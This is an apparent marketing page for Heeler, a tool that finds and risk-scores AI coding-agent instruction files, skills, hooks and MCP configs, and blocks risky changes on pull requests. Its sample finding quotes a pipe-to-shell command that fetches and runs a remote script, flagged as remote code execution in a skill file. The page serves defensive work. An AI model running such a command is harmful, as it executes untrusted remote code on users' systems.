Coding Agent Security · Agent File Security

Agent-file security across repositories and workstations.

Heeler discovers and assesses instructions, skills, hooks and MCP configuration in connected repositories and on enrolled workstations. Teams can inspect risk evidence, enforce repository changes on the PR and route findings for remediation.

.claude/skills/release-helper/SKILL.mdAt Risk
28of 100
Assessed intentSuspiciousHigh confidence
Static risk
LLM risk
External risk
HighInsecure Shell Pipecurl -s https://get.toolcdn.io/i.sh | bash
ModelRemote Code Execution
InfoReferenced External System · toolcdn.io, unrecognized
blockPR Guardrails · Agent File Static FindingsBlock
Agent files

Agent-file discovery and assessment.

Heeler identifies risky agent files in repositories and on workstations.

Repository scans and the Workstation Sensor discover the files agents follow. Heeler assesses their content using the same scoring system across both sources.

  • Discover files in repositories and on enrolled workstations
  • Find instructions, skills, hooks and MCP config
  • Score each file 0 to 100. Below 70 is At Risk

Heeler evaluates agent-file changes on the pull request.

Observe, warn or block. The same check runs in CI.

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Heeler routes new at-risk agent files to their owners.

A workflow posts to Slack or opens a Jira, Linear or GitHub ticket.

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In the repo and on the workstation

Consistent scoring across repository and workstation files.

Every score includes the findings behind it.

Static findings, model-assessed intent and external-host reputation explain each score.

Heeler assesses agent instructions and investigates observed behavior.

Use file assessments to review what an agent is instructed to do, and session evidence to investigate what it actually did.